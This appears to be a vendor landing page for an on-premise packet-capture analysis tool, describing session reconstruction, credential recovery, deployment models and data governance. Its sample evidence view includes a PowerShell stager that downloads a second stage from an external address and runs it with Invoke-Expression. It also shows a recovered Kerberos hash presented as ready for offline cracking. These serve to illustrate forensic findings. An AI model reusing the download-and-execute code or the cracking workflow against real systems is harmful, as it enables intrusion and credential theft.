On-Premise / Available now

Self-hosted PCAP analysis, inside your own network

Upload a capture on your own infrastructure and get back reconstructed sessions, recovered credentials, extracted files, and a host and service graph. Every artifact resolves to the packet it came from.

Deployment
Docker Compose · Helm / Kubernetes · air-gapped image bundle
Storage
Your PostgreSQL and S3-compatible object storage
Identity
Local accounts · LDAP / Active Directory · SAML 2.0 · OAuth
Talk to us about a deployment How engagement works

Annual license, quoted per deployment. An engineer answers — no newsletter, no drip sequence.

apackets.local On-Premise
The problem

Why teams keep packet analysis in-house

The constraint is rarely feature count. It is where packet captures, credentials, and evidence are allowed to go — and how many senior hours disappear before the analysis starts.

The captures that cannot be uploaded
Customer data, closed segments, retention rules. The investigations that most need a protocol-level read are exactly the ones that can never reach a cloud tool.
Senior hours go into display filters
Manual triage in general-purpose tools spends analyst time on display filters and follow-stream before the actual analysis begins.
Evidence scattered across a capture
Sessions, credentials, files, and host relationships sit in different places and are easy to miss under time pressure.
Investigation output

What the deployment gives back

Sessions, credentials, files, and a host graph are extracted on ingest — without manual stream-following.

Reconstructed HTTP sessions

Request line, headers, and response body rebuilt from the packets in order, so a payload can be read without carving it out of a stream by hand.

Recovered credential material

Authentication material carried in the exchange itself, across HTTP, SMB, NTLM, Kerberos, LDAP, PostgreSQL, MSSQL, Telnet, FTP, and SIP — including one account reused across several protocols.

Extracted files and payloads

Objects pulled out of HTTP flows on ingest and available for offline analysis, alongside the source capture they came from.

Host and service graph

A map of which hosts talked to whom, with services labelled by passive protocol fingerprints — reconstructed from traffic, with no active scanning.

Every artifact resolves back to a specific timestamp and packet in the source capture.

Product view

Evidence, as the deployment presents it

Addresses and identities below use documentation ranges, not customer traffic.

apackets.local/sessions/http On-Premise
10.4.12.18 :54118 → 198.51.100.23 :80 GET 
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; en-US) WindowsPowerShell/5.1
Host: 198.51.100.23
Connection: Keep-Alive

HTTP/1.1 200 OK
Content-Type: text/plain

try {
  $stage = Invoke-WebRequest -Uri "http://203.0.113.47/a" -UseBasicParsing
  Invoke-Expression $stage.Content
} catch { }
One HTTP exchange rebuilt from the packets — request line, headers, and response body in order. The response carries a second-stage URL and the process it starts.
apackets.local/credentials

Identity

Login

EXAMPLE.LOCAL\svc-backup

Protocol

Kerberos V5 AS-REP etype 18

FROM
10.4.12.18
TO
10.4.12.7

Hash

[email protected]:
72B63BB793FB34AD55174193F237C08B5491F0F8E
47BF6B135A461A7C6CC9BDFEC1E8D69A1874C7040
7040DFF88B252606DACD6175C62A5E398CA97B7A
A6DBFD119051 66BBBF435312C4B8865EDBC1A87E
1FBADF0D1C0B54C3D95CAD7C63B09C749987321F
One recovered secret, one evidence record — identity, protocol, source, and material together, and Hashcat-ready for offline validation.
apackets.local/hosts
10.4.12.7 10.4.12.44 10.4.12.1 · DNS 10.4.12.90 198.51.100.23 203.0.113.47 files.example.net 10.4.12.18 investigated host
Internal External DNS
A map of who talked to whom, reconstructed from the capture — with no active scanning.
Investigation workflow

A repeatable path from capture to report

Five steps, all of them inside your deployment.

  1. 01

    Upload capture

    .pcap or .pcapng, with case name, source, and analyst notes.

  2. 02

    Parse protocols

    HTTP, DNS, TLS, SMB, Kerberos, LDAP, NTLM, and 802.11 wireless.

  3. 03

    Extract artifacts

    Sessions, credentials, files, hosts, and services — on ingest, without manual stream-following.

  4. 04

    Flag detections

    Port scans, insecure credential use, and suspicious traffic patterns.

  5. 05

    Generate report

    An interactive report generated in the deployment, with every finding still resolvable to its packet.

Reference architecture

Three ways to run it

Security and platform teams pick the operating model. All three run against storage and identity you already operate.

Model 01

Single node

Docker Compose package on one server, with bundled PostgreSQL and MinIO.

Fits: smaller teams and evaluation environments.

Model 02

Kubernetes

Helm chart with external PostgreSQL, S3-compatible object storage, and separated service responsibilities.

Fits: platform teams with a cluster and storage already in place.

Model 03

Air-gap

Offline image bundle and license material, with no outbound access required after installation.

Fits: isolated and tightly controlled networks.

Observability in every model: Prometheus metrics, five reference Grafana dashboards, and liveness / readiness probes.

Security & governance

Access, data handling, and ownership

Analysis, storage, and reporting all run inside the customer deployment. No capture leaves the perimeter.

Review area What the deployment does
Data residency Packet captures and artifacts stay in customer-owned PostgreSQL and S3-compatible storage.
Retention Retention policy is controlled by the deployment owner.
Identity Local accounts, LDAP / Active Directory, SAML 2.0, or OAuth for Google, Microsoft, and GitHub.
Telemetry None. Monitoring stays inside the deployment, air-gapped installs included.
Reporting Reports are generated inside the customer environment.

Worth stating plainly: encrypted flows still yield metadata, a captured handshake, certificate, and timing evidence — not payload. Findings describe what reached the capture point, so a missing segment or asymmetric routing is an absence of evidence, not an absence on the network.

How to engage

Four steps from first contact to a running deployment

The evaluation is the load-bearing one. It ends in a decision, not an impression.

  1. Step 01

    Fit call

    Thirty minutes on use case, capture volume, and deployment topology — including whether an on-premise tool is the right answer at all.

  2. Step 02

    Technical evaluation

    Thirty days on your own hardware, against your own captures. Success criteria are agreed at the start and reviewed jointly at the end.

  3. Step 03

    Proposal

    Scope, term, and pricing written against what the evaluation actually showed. NDA, DPA, and MSA templates available.

  4. Step 04

    Deployment

    Deployment package and setup call within two business days, with documentation and the offline bundle where required.

Nothing leaves your network during the evaluation either

The deployment runs against your own captures on your own hardware. Bring a representative capture — everything after that runs on your side.

Request a fit call
Get started

Talk to us about an on-prem deployment

Tell us what you need to investigate and roughly how much traffic you handle. The next step is a thirty-minute fit call on scope, capture volume, and deployment topology.

Your answers go to the engineer who runs the call, not to a mailing list.

Prefer email? Write to [email protected] with the same details.